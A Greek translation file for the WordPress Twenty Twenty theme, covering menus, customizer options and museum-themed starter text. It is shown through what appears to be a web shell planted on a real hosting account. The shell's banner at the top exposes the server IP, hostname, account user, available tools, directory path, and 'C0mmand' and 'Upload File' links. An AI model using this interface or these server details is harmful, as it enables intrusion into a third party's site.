|
Server IP : 10.131.40.8 / Your IP : 216.73.216.37 Web Server : Apache System : Linux webd008.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 User : ludmqhh ( 137773) PHP Version : 8.4.10 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ludmqhh/www/guillaume/wp-content/languages/themes/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
# Translation of Themes - Twenty Twenty in Greek # This file is distributed under the same license as the Themes - Twenty Twenty package. msgid "" msgstr "" "PO-Revision-Date: 2021-01-28 08:49:31+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/4.0.0-alpha.1\n" "Language: el_GR\n" "Project-Id-Version: Themes - Twenty Twenty\n" #. Description of the theme #, gp-priority: high msgid "Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor. Organizations and businesses have the ability to create dynamic landing pages with endless layouts using the group and column blocks. The centered content column and fine-tuned typography also makes it perfect for traditional blogs. Complete editor styles give you a good idea of what your content will look like, even before you publish. You can give your site a personal touch by changing the background colors and the accent color in the Customizer. The colors of all elements on your site are automatically calculated based on the colors you pick, ensuring a high, accessible color contrast for your visitors." msgstr "Το προεπιλεγμένο μας θέμα για το 2020 έχει σχεδιαστεί για να αξιοποιήσει πλήρως την ευελιξία του επεξεργαστή μπλοκ. Οι οργανισμοί και οι επιχειρήσεις έχουν τη δυνατότητα να δημιουργούν δυναμικές σελίδες με ατελείωτες διατάξεις χρησιμοποιώντας τα μπλοκ ομάδας και στηλών. Η στήλη περιεχομένου στο κέντρο και η λεπτομερής τυπογραφία το καθιστούν επίσης ιδανικό για τα παραδοσιακά ιστολόγια. Τα ολοκληρωμένα στυλ στον επεξεργαστή σας δίνουν μια καλή ιδέα για το πώς θα μοιάζει το περιεχόμενό σας, ακόμη και πριν από τη δημοσίευση. Μπορείτε να δώσετε στον ιστότοπό σας μια προσωπική πινελιά αλλάζοντας τα χρώματα φόντου και το χρώμα έμφασης στο εργαλείο προσαρμογής. Τα χρώματα όλων των στοιχείων στον ιστότοπό σας υπολογίζονται αυτόματα με βάση τα χρώματα που θα επιλέξετε, εξασφαλίζοντας μια υψηλή, προσβάσιμη χρωματική αντίθεση για τους επισκέπτες σας." #. Theme Name of the theme #: inc/block-patterns.php:20 #, gp-priority: high msgid "Twenty Twenty" msgstr "Twenty Twenty" #: classes/class-twentytwenty-customize.php:131 msgctxt "color" msgid "Custom" msgstr "Προσαρμοσμένο" #: classes/class-twentytwenty-customize.php:130 msgctxt "color" msgid "Default" msgstr "Προεπιλεγμένο" #: inc/block-patterns.php:197 msgid "With seven floors of striking architecture, UMoMA shows exhibitions of international contemporary art, sometimes along with art historical retrospectives. Existential, political, and philosophical issues are intrinsic to our program. As visitor, you are invited to guided tours artist talks, lectures, film screenings, and other events with free admission." msgstr "Με επτά ορόφους εντυπωσιακής αρχιτεκτονικής, το UMoMA παρουσιάζει εκθέσεις της διεθνούς σύγχρονης τέχνης, μερικές φορές μαζί με ιστορικές ρετροσπεκτίβες τέχνης. Τα υπαρξιακά, πολιτικά και φιλοσοφικά ζητήματα είναι εγγενή στο πρόγραμμά μας. Ως επισκέπτη σας προσκαλούμε σε ξεναγήσεις Καλλιτεχνών, διαλέξεις, προβολές ταινιών και άλλες εκδηλώσεις με δωρεάν είσοδο" #: inc/block-patterns.php:187 msgid "Introduction" msgstr "Εισαγωγή" #: inc/block-patterns.php:157 inc/block-patterns.php:171 msgid "August 1 — December 1" msgstr "1 Αυγούστου -- 1 Δεκεμβρίου" #: inc/block-patterns.php:151 inc/block-patterns.php:165 msgid "Abstract Rectangles" msgstr "Αφηρημένα Τετράγωνα" #: inc/block-patterns.php:142 msgid "Featured Content" msgstr "Προβεβλημένο Περιεχόμενο" #: inc/block-patterns.php:123 msgid "<em>Location</em><br>Exhibit Hall B" msgstr "<em>Τοποθεσία</em><br>Αίθουσα Εκθέσεων Β" #: inc/block-patterns.php:118 msgid "<em>Dates</em><br>Aug 1 — Dec 1" msgstr "<em>Ημερόμηνίες</em><br>1 Αυγ — 1 Δεκ" #: inc/block-patterns.php:108 msgid "Event Details" msgstr "Στοιχεία Εκδήλωσης" #: inc/block-patterns.php:93 msgid "Shop Now" msgstr "Αγοράστε τώρα" #: inc/block-patterns.php:86 msgid "The Store" msgstr "Το κατάστημα" #: inc/block-patterns.php:71 msgid "The Museum" msgstr "Το Μουσείο" #: inc/block-patterns.php:61 msgid "Double Call to Action" msgstr "Διπλή κλήση για ενέργεια" #: inc/block-patterns.php:48 msgid "Become a Member" msgstr "Γίνεται μέλος" #: inc/block-patterns.php:42 msgid "Support the Museum and Get Exclusive Offers" msgstr "Υποστηρίξτε το Μουσείο και λάβετε μοναδικές προσφορές" #: inc/block-patterns.php:33 msgid "Call to Action" msgstr "Κλήση για ενέργεια" #: template-parts/modal-menu.php:73 msgctxt "menu" msgid "Mobile" msgstr "Για κινητά" #: template-parts/modal-menu.php:48 msgctxt "menu" msgid "Expanded" msgstr "Αναπτυγμένο" #: header.php:88 msgctxt "menu" msgid "Horizontal" msgstr "Οριζόντιο" #: header.php:53 header.php:157 msgctxt "toggle text" msgid "Search" msgstr "Αναζήτηση" #: functions.php:526 msgctxt "color" msgid "Secondary" msgstr "Δευτερεύον" #: functions.php:521 msgctxt "color" msgid "Primary" msgstr "Κύριο" #: index.php:51 msgid "Nothing Found" msgstr "Δεν βρέθηκε κάτι" #: classes/class-twentytwenty-customize.php:251 msgid "Show author bio" msgstr "Εμφάνιση πληροφοριών συντάκτη" #: template-parts/entry-author-bio.php:29 msgid "View Archive <span aria-hidden=\"true\">→</span>" msgstr "Προβολή αρχείου <span aria-hidden=\"true\">\t</span>" #: inc/starter-content.php:39 msgctxt "Theme starter content" msgid "The New UMoMA Opens its Doors" msgstr "Το νέο UMoMA ανοίγει τις πόρτες του" #: inc/template-tags.php:414 msgctxt "A string that is output before one or more categories" msgid "In" msgstr "Σε" #: inc/starter-content.php:151 msgid "Join the Club" msgstr "Γίνετε μέλος" #: inc/block-patterns.php:45 inc/starter-content.php:148 msgid "Members get access to exclusive exhibits and sales. Our memberships cost $99.99 and are billed annually." msgstr "Τα μέλη αποκτούν πρόσβαση σε αποκλειστικά εκθέματα και πωλήσεις. Τα μέλη μας κοστίζουν $99,99 και χρεώνονται ετησίως." #: inc/starter-content.php:145 msgid "Become a Member and Get Exclusive Offers!" msgstr "Γίνετε Μέλος και Αποκτήστε Αποκλειστικές Προσφορές!" #: inc/starter-content.php:137 msgid "The exhibitions are produced by UMoMA in collaboration with artists and museums around the world and they often attract international attention. UMoMA has received a Special Commendation from the European Museum of the Year, and was among the top candidates for the Swedish Museum of the Year Award as well as for the Council of Europe Museum Prize." msgstr "Οι εκθέσεις πραγματοποιούνται από τον UMoMA σε συνεργασία με καλλιτέχνες και μουσεία σε όλο τον κόσμο και συχνά προσελκύουν τη διεθνή προσοχή. Ο UMoMA έχει λάβει ειδικό έπαινο από το Ευρωπαϊκό Μουσείο της χρονιάς, και ήταν μεταξύ των κορυφαίων υποψηφίων για το Σουηδικό Μουσείο της χρονιάς, καθώς και για το Βραβείο Μουσείου του Συμβουλίου της Ευρώπης." #: inc/starter-content.php:134 msgid "With seven floors of striking architecture, UMoMA shows exhibitions of international contemporary art, sometimes along with art historical retrospectives. Existential, political and philosophical issues are intrinsic to our programme. As visitor you are invited to guided tours artist talks, lectures, film screenings and other events with free admission" msgstr "Με επτά ορόφους εντυπωσιακής αρχιτεκτονικής, το UMoMA παρουσιάζει εκθέσεις της διεθνούς σύγχρονης τέχνης, μερικές φορές μαζί με ιστορικές ρετροσπεκτίβες τέχνης. Τα υπαρξιακά, πολιτικά και φιλοσοφικά ζητήματα είναι εγγενή στο πρόγραμμά μας. Ως επισκέπτης σας προσκαλούμε σε ξεναγήσεις Καλλιτεχνών, διαλέξεις, προβολές ταινιών και άλλες εκδηλώσεις με δωρεάν είσοδο" #: inc/starter-content.php:130 msgid "“Cyborgs, as the philosopher Donna Haraway established, are not reverent. They do not remember the cosmos.”" msgstr "“Cyborgs, as the philosopher Donna Haraway established, are not reverent. They do not remember the cosmos.”" #: inc/starter-content.php:114 msgid "From Signac to Matisse" msgstr "Από το Signac στο Matisse" #: inc/block-patterns.php:168 inc/starter-content.php:99 msgid "The Life I Deserve" msgstr "Η ζωή που μου αξίζει" #: inc/starter-content.php:85 inc/starter-content.php:117 msgid "October 1 -- December 1" msgstr "1 Οκτωβρίου - 1 Δεκεμβρίου" #: inc/starter-content.php:82 msgid "Theatre of Operations" msgstr "Θέατρο επιχειρήσεων" #: inc/block-patterns.php:78 inc/block-patterns.php:160 #: inc/block-patterns.php:174 inc/starter-content.php:73 #: inc/starter-content.php:88 inc/starter-content.php:105 #: inc/starter-content.php:120 msgid "Read More" msgstr "Περισσότερα" #: inc/starter-content.php:70 inc/starter-content.php:102 msgid "August 1 -- December 1" msgstr "1 Αυγούστου -- 1 Δεκεμβρίου" #: inc/block-patterns.php:154 inc/starter-content.php:67 msgid "Works and Days" msgstr "Έργα και Ημέρες" #: inc/starter-content.php:56 msgid "The premier destination for modern art in Northern Sweden. Open from 10 AM to 6 PM every day during the summer months." msgstr "Ο κορυφαίος προορισμός για τη σύγχρονη τέχνη στη Βόρεια Σουηδία. Ανοιχτό από 10 Π.Μ. έως 6 Μ.Μ. κάθε μέρα κατά τη διάρκεια των καλοκαιρινών μηνών." #: inc/starter-content.php:48 msgid "The New UMoMA Opens its Doors" msgstr "Το νέο UMoMA ανοίγει τις πόρτες του" #: classes/class-twentytwenty-customize.php:400 msgid "Overlay Opacity" msgstr "Διαφάνεια Επικάλυψης" #: classes/class-twentytwenty-customize.php:380 msgid "The color used for the text in the overlay." msgstr "Το χρώμα που χρησιμοποιείται για το κείμενο στην επικάλυψη." #: classes/class-twentytwenty-customize.php:379 msgid "Overlay Text Color" msgstr "Χρώμα κειμένου επικάλυψης" #: classes/class-twentytwenty-customize.php:358 msgid "The color used for the overlay. Defaults to the accent color." msgstr "Το χρώμα που χρησιμοποιείται για την επικάλυψη. Εξ ορισμού είναι ίδιο με το χρώμα έμφασης." #: classes/class-twentytwenty-customize.php:357 msgid "Overlay Background Color" msgstr "Χρώμα Φόντου Επικάλυψης" #: classes/class-twentytwenty-customize.php:288 msgid "Settings for the \"Cover Template\" page template. Add a featured image to use as background." msgstr "Ρυθμίσεις για το πρότυπο σελίδας \"Πρότυπο εξωφύλλου\". Προσθέστε μια επιλεγμένη εικόνα για να τη χρησιμοποιήσετε ως φόντο." #: classes/class-twentytwenty-customize.php:188 msgid "Apply a custom color for links, buttons, featured images." msgstr "Εφαρμόστε ένα χρώμα της επιλογής σας για συνδέσμους, κουμπιά, επιλεγμένες εικόνες." #: classes/class-twentytwenty-customize.php:128 msgid "Primary Color" msgstr "Κύριο χρώμα" #: searchform.php:28 template-parts/modal-search.php:20 msgid "Search for:" msgstr "Αναζήτηση για:" #: index.php:101 msgid "search again" msgstr "αναζήτηση ξανά" #. translators: %s: Number of search results. #: index.php:39 msgid "We found %s result for your search." msgid_plural "We found %s results for your search." msgstr[0] "Βρέθηκε %s αποτέλεσμα για την αναζήτηση σας." msgstr[1] "Βρέθηκαν %s αποτελέσματα για την αναζήτηση σας." #. translators: %s: HTML character for up arrow. #: footer.php:55 msgid "Up %s" msgstr "Επάνω %s" #. translators: %s: HTML character for up arrow. #: footer.php:49 msgid "To the top %s" msgstr "Στην κορυφή %s" #. translators: Copyright date format, see #. https://www.php.net/manual/datetime.format.php #: footer.php:25 msgctxt "copyright date format" msgid "Y" msgstr "Y" #: 404.php:24 msgid "404 not found" msgstr "404 η σελίδα δεν βρέθηκε" #. Template Name of the theme msgid "Full Width Template" msgstr "Πρότυπο πλήρους πλάτους" #. Translators: This text contains HTML to allow the text to be shorter on #. small screens. The text inside the span with the class nav-short will be #. hidden on small screens. #: template-parts/pagination.php:27 msgid "Older <span class=\"nav-short\">Posts</span>" msgstr "Παλαιότερα <span class=\"nav-short\">Άρθρα</span>" #. Translators: This text contains HTML to allow the text to be shorter on #. small screens. The text inside the span with the class nav-short will be #. hidden on small screens. #: template-parts/pagination.php:19 msgid "Newer <span class=\"nav-short\">Posts</span>" msgstr "Πιο πρόσφατα <span class=\"nav-short\">Άρθρα</span>" #: template-parts/navigation.php:25 msgid "Post" msgstr "Άρθρο" #: template-parts/modal-search.php:26 msgid "Close search" msgstr "Κλείσιμο αναζήτησης" #: template-parts/modal-menu.php:117 msgid "Expanded Social links" msgstr "Επέκταση κοινωνικών συνδέσμων" #: template-parts/modal-menu.php:21 msgid "Close Menu" msgstr "Κλείσιμο Μενού" #: template-parts/footer-menus-widgets.php:57 msgid "Social links" msgstr "Σύνδεσμοι Social media" #: template-parts/footer-menus-widgets.php:37 msgid "Footer" msgstr "Υποσέλιδο" #. translators: %s: Author name. #: inc/template-tags.php:375 template-parts/entry-author-bio.php:20 msgid "By %s" msgstr "Από τον/την %s" #: template-parts/content-cover.php:138 template-parts/content.php:48 msgid "Pages:" msgstr "Σελίδες:" #: template-parts/content-cover.php:138 template-parts/content.php:48 msgid "Page" msgstr "Σελίδας" #: template-parts/content-cover.php:88 msgid "Scroll Down" msgstr "Κύλιση προς τα κάτω" #: searchform.php:31 msgctxt "submit button" msgid "Search" msgstr "Αναζήτηση" #: searchform.php:29 msgctxt "placeholder" msgid "Search …" msgstr "Αναζήτηση …" #: index.php:48 msgid "We could not find any results for your search. You can give it another try through the search form below." msgstr "Δεν μπορέσαμε να βρούμε αποτελέσματα για την αναζήτησή σας. Μπορείτε να κάνετε μια άλλη προσπάθεια μέσω της παρακάτω φόρμας αναζήτησης." #: index.php:32 msgid "Search:" msgstr "Αναζήτηση:" #. translators: %s: Post title. Only visible to screen readers. #: inc/template-tags.php:223 msgid "Edit <span class=\"screen-reader-text\">%s</span>" msgstr "Επεξεργασία του<span class=\"screen-reader-text\">%s</span>" #: inc/template-tags.php:466 msgid "Sticky post" msgstr "Άρθρο Καρφιτσωμένο στην πρώτη σελίδα" #: inc/template-tags.php:428 msgid "Tags" msgstr "Ετικέτες" #: inc/template-tags.php:410 template-parts/content-cover.php:70 #: template-parts/entry-header.php:36 msgid "Categories" msgstr "Κατηγορίες" #: inc/template-tags.php:392 msgid "Post date" msgstr "Ημ. δημοσίευσης" #: inc/template-tags.php:368 msgid "Post author" msgstr "Συντάκτης άρθρου" #: inc/starter-content.php:197 msgid "Social Links Menu" msgstr "Μενού Συνδέσμων Κοινωνικών Δικτύων" #: inc/starter-content.php:177 inc/starter-content.php:187 msgid "Primary" msgstr "Κύριο" #: header.php:76 header.php:137 msgid "Menu" msgstr "Μενού" #: template-parts/modal-search.php:11 msgid "Search" msgstr "Αναζήτηση" #: template-parts/content.php:36 msgid "Continue reading" msgstr "Περισσότερα" #: functions.php:578 msgctxt "Short name of the larger font size in the block editor." msgid "XL" msgstr "XL" #: functions.php:577 msgctxt "Name of the larger font size in the block editor" msgid "Larger" msgstr "Μεγαλύτερο" #: functions.php:572 msgctxt "Short name of the large font size in the block editor." msgid "L" msgstr "L" #: functions.php:571 msgctxt "Name of the large font size in the block editor" msgid "Large" msgstr "Μεγάλο" #: functions.php:566 msgctxt "Short name of the regular font size in the block editor." msgid "M" msgstr "M" #: functions.php:565 msgctxt "Name of the regular font size in the block editor" msgid "Regular" msgstr "Κανονικά" #: functions.php:560 msgctxt "Short name of the small font size in the block editor." msgid "S" msgstr "S" #: functions.php:559 msgctxt "Name of the small font size in the block editor" msgid "Small" msgstr "Μικρό" #: functions.php:544 msgid "Background Color" msgstr "Χρώμα Φόντου" #: functions.php:531 msgid "Subtle Background" msgstr "Διακριτικό φόντο" #: functions.php:516 msgid "Accent Color" msgstr "Χρώμα Έμφασης" #: functions.php:403 msgid "Widgets in this area will be displayed in the second column in the footer." msgstr "Οι μικροεφαρμογές σε αυτή τη περιοχή θα προβάλλονται στη δεύτερη στήλη του υποσέλιδου." #: functions.php:401 msgid "Footer #2" msgstr "Υποσέλιδο #2" #: functions.php:391 msgid "Widgets in this area will be displayed in the first column in the footer." msgstr "Οι μικροεφαρμογές σε αυτή τη περιοχή θα προβάλλονται στη πρώτη στήλη του υποσέλιδου." #: functions.php:389 msgid "Footer #1" msgstr "Υποσέλιδο #1" #: functions.php:362 msgid "Skip to the content" msgstr "Μετάβαση στο περιεχόμενο" #: functions.php:277 msgid "Social Menu" msgstr "Μενού κοινωνικών δικτύων" #: functions.php:276 msgid "Footer Menu" msgstr "Μενού υποσέλιδου" #: functions.php:275 msgid "Mobile Menu" msgstr "Μενού για κινητά" #: functions.php:274 msgid "Desktop Expanded Menu" msgstr "Αναπτυγμένο μενού για Desktop υπολογιστή" #: functions.php:273 msgid "Desktop Horizontal Menu" msgstr "Οριζόντιο μενού για σταθερούς υπολογιστές" #: footer.php:39 msgid "Powered by WordPress" msgstr "Με τη δύναμη του WordPress" #: comments.php:127 msgid "Comments are closed." msgstr "Τα σχόλια είναι απενεργοποιημένα." #: comments.php:88 msgid "Comments" msgstr "Σχόλια" #: comments.php:75 msgid "Older Comments" msgstr "Παλαιότερα σχόλια" #: comments.php:74 msgid "Newer Comments" msgstr "Νεότερα Σχόλια" #. translators: 1: Number of comments, 2: Post title. #: comments.php:41 msgctxt "comments title" msgid "%1$s reply on “%2$s”" msgid_plural "%1$s replies on “%2$s”" msgstr[0] "%1$s απάντηση στο “%2$s”" msgstr[1] "%1$s απαντησεις στο “%2$s”" #. translators: %s: Post title. #: comments.php:37 msgctxt "comments title" msgid "One reply on “%s”" msgstr "Μία απάντηση στο “%s”" #: comments.php:34 msgid "Leave a comment" msgstr "Σχολίασε" #: classes/class-twentytwenty-walker-page.php:115 inc/template-tags.php:580 msgid "Show sub menu" msgstr "Εμφάνιση του υπό μενού" #. translators: %d: ID of a post. #: classes/class-twentytwenty-walker-page.php:78 msgid "#%d (no title)" msgstr "#%d (χωρίς τίτλο)" #: classes/class-twentytwenty-walker-comment.php:137 msgid "By Post Author" msgstr "Από τον συντάκτη του άρθρου" #: classes/class-twentytwenty-walker-comment.php:102 msgid "Your comment is awaiting moderation." msgstr "Το σχόλιό σας περιμένει έγκριση." #: classes/class-twentytwenty-walker-comment.php:86 msgid "Edit" msgstr "Επεξεργασία" #. translators: 1: Comment date, 2: Comment time. #: classes/class-twentytwenty-walker-comment.php:72 msgid "%1$s at %2$s" msgstr "%1$s την %2$s" #: classes/class-twentytwenty-walker-comment.php:60 msgid "says:" msgstr "λέει:" #: classes/class-twentytwenty-customize.php:401 msgid "Make sure that the contrast is high enough so that the text is readable." msgstr "Βεβαιωθείτε ότι η αντίθεση είναι αρκετά υψηλή ώστε το κείμενο να είναι ευανάγνωστο." #: classes/class-twentytwenty-customize.php:311 msgid "Creates a parallax effect when the visitor scrolls." msgstr "Δημιουργεί ένα εφέ parallax όταν ο επισκέπτης κάνει κύλιση." #: classes/class-twentytwenty-customize.php:310 msgid "Fixed Background Image" msgstr "Σταθερή εικόνα φόντου" #. Template Name of the theme #: classes/class-twentytwenty-customize.php:286 msgid "Cover Template" msgstr "Πρότυπο εξωφύλλου" #: classes/class-twentytwenty-customize.php:275 msgid "Summary" msgstr "Περίληψη" #: classes/class-twentytwenty-customize.php:274 msgid "Full text" msgstr "Πλήρες κείμενο" #: classes/class-twentytwenty-customize.php:272 msgid "On archive pages, posts show:" msgstr "Στις ιστοσελίδες αρχείου, τα άρθρα εμφανίζουν:" #: classes/class-twentytwenty-customize.php:230 msgid "Show search in header" msgstr "Προβολή αναζήτησης στην κεφαλίδα" #: classes/class-twentytwenty-customize.php:207 msgid "Theme Options" msgstr "Ρυθμίσεις θέματος" #: classes/class-twentytwenty-customize.php:106 msgid "Header & Footer Background Color" msgstr "Χρώμα φόντου κεφαλίδας & υποσέλιδου" #: classes/class-twentytwenty-customize.php:87 msgid "Scales the logo to half its uploaded size, making it sharp on high-res screens." msgstr "Προσαρμόζει το λογότυπο στο μισό του αρχικού του μεγέθους, καθιστώντας το ευκρινές σε οθόνες υψηλής ανάλυσης." #: classes/class-twentytwenty-customize.php:86 msgid "Retina logo" msgstr "Λογότυπο Retina" #: 404.php:19 msgid "The page you were looking for could not be found. It might have been removed, renamed, or did not exist in the first place." msgstr "Η σελίδα που αναζητήσατε δεν βρέθηκε. Μπορεί να έχει αφαιρεθεί, μετονομαστεί ή να μην έχει δημιουργηθεί." #: 404.php:17 msgid "Page Not Found" msgstr "Η σελίδα δεν βρέθηκε" #. Author URI of the theme #: footer.php:38 #, gp-priority: low msgid "https://wordpress.org/" msgstr "https://wordpress.org/" #. Author of the theme #, gp-priority: low msgid "the WordPress team" msgstr "η Ομάδα του WordPress" #. Theme URI of the theme #, gp-priority: low msgid "https://wordpress.org/themes/twentytwenty/" msgstr "https://wordpress.org/themes/twentytwenty/"
